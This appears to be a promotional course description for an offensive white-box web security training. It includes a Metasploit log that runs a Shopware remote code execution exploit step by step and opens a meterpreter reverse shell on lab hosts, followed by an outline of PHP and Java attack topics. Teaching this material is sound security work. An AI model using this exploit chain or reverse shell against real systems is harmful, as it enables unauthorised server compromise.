Full Stack Web Attack

Abstract

Full Stack Web Attack is *not* an entry-level course. It's designed to push you beyond what you thought was possible and set you on the path to develop your own workflow for offensive zero-day web research. Today many web application testers and bounty hunters have shifted their focus on attacking web applications via a blackbox approach. However, given today's web technological landscape, code is getting more abstracted, frameworks are being added and complexity is on the rise and as such, so are the vulnerabilities. Old techniques are being forgotten about and new web attack research is limited to a hand full of world-renowned experts.

To tackle this, security experts need to take a white box approach. No longer is blackbox testing is going to cut it, particularly if you want to find critical unauthenticated remote code execution vulnerabilities. In this course several vulnerabilities will be revealed and shown how they could have never been discovered or exploited without access to the source code.

Complex, multi-stacked web deployments such as cloud web interfaces or continuous integration applications need more than a blackbox penetration test. Welcome to the course that will teach you have to attack, the full web application stack.

```
[*] Processing scripts/shopware.rc for ERB directives.
resource (scripts/shopware.rc)> use exploit/multi/http/shopware_createinstancefromnamedarguments_rce
resource (scripts/shopware.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (scripts/shopware.rc)> set LHOST 192.168.23.1
LHOST => 192.168.23.1
resource (scripts/shopware.rc)> set RHOSTS 192.168.23.164
RHOSTS => 192.168.23.164
resource (scripts/shopware.rc)> set RPORT 8080
RPORT => 8080
resource (scripts/shopware.rc)> check
[+] 192.168.23.164:8080 - The target is vulnerable.
resource (scripts/shopware.rc)> exploit
[*] Started reverse TCP handler on 192.168.23.1:4444
[+] Stage 1 - logged in with demo: SHOPWAREBACKEND=3sepmj7ci5ctvellmk0p5l306c;
[+] Stage 2 - leaked the webroot: /var/www/html
[+] Stage 3 - leaked the CSRF token: EYcGHyeQxiXo5RjQ7w91TVhMlA42pz
[+] Stage 4 - generated our phar
[+] Stage 5 - uploaded phar
[+] Stage 6 - leaked phar location: media/image/eb/ac/fc/tlftzvpo.jpg
[+] Stage 7 - triggered object instantiation!
[*] Sending stage (38247 bytes) to 192.168.23.174
[*] Meterpreter session 1 opened (192.168.23.1:4444 -> 192.168.23.174:34340) at 2019-05-09 21:17:32 -0500
[+] Deleted kcdkkjoy.php
[+] Deleted image/eb/ac/fc/tlftzvpo.jpg

meterpreter > exit
[*] Shutting down Meterpreter...
```

Learning Objectives

By the completion of the course, students should have the ability too:

- Feel comfortable reading code (looking for vulnerabilities) and writing code (developing exploits).
- Debug complex web applications using source code debuggers.
- Attack complex object oriented vulnerability patterns.
- Chain multiple vulnerabilities to achieve remote code execution.
- Bypass authentication systems without client side vulnerabilities.
- Leverage information disclosure for remote code execution.

Students are expected to know how to use Burp Suite and have a basic understanding of common web attacks as well as perform basic scripting using common languages such as python, PHP and JavaScript. Each of the vulnerabilities presented have either been mirrored from real zero-day or are n-day bugs that have been discovered by the author with a focus on not just exploitation, but also on the discovery.

So if you want to learn how to exploit web technologies without client interaction for maximum impact, that is, remote code execution then this is the course for you.

Leave your OWASP Top Ten and CSP bypasses at the door.

Target Audience

This course is developed for web penetration testers, bug hunters and developers that want to make a switch to server-side web security research or see how serious adversaries will attack their web-based code.

Course Outline

Introduction

- PHP & Java language fundamentals
- Debugging PHP & Java applications
- Module overview and required background knowledge
- Auditing for zero-day vulnerabilities

PHP

- Loose typing
- Logic authentication bypasses
- Code injection
- Filter bypass via code reuse
- Patch bypass

Day 0x02

Java

- Java Remote Method Invocation (RMI)
    - Java Remote Method Protocol (JRMP)
- Java naming and directory interface (JNDI) injection
    - Remote class loading
    - Deserialization 101 (using existing gadget chains)

PHP

- Introduction to object instantiation
- Introduction to protocol wrappers
- External entity (XXE) injection
    - Regular file disclosure
    - Blind out-of-band attacks
        - Error based exfiltration using entity overwrites
        - Exfiltration using protocols

Day 0x03

PHP

- Patch analysis and bypass
- Introduction to object injection
- Magic methods
    - Customized serialization
    - Phar deserialization
    - Property oriented programming (POP)
    - Custom gadget chain creation
- Information disclosure
- Phar planting
- Building a 7 stage exploit chain for Remote Code Execution

Day 0x04

PHP

- Blacklist bypasses (zero-day vulnerability analysis and exploitation)

Java

- Introduction to reflection
- Expression language injection
- Bypassing URI filters

- URI forward authentication bypasses (zero-day technique)
- Deserialization 102 (custom gadget chains)
    - Trampoline gadgets
    - Exploiting reflection
    - Whitelist (ab)use
- A zero-day bug hunt in a real target

REQUIREMENTS

Student Machine/ Laptop Requirements

- A 64bit Host operating system
- 16 Gb RAM minimum
- VMWare Workstation/Fusion
- 60 Gb Hard disk free minimum
- Wired and Wireless network support
- USB 3.0 support

Students Knowledge Pre-Requisites:

Students must have the following:

- At least basic scripting skills
- At least a basic understanding of various web technologies such as HTTP(S), proxies and browsers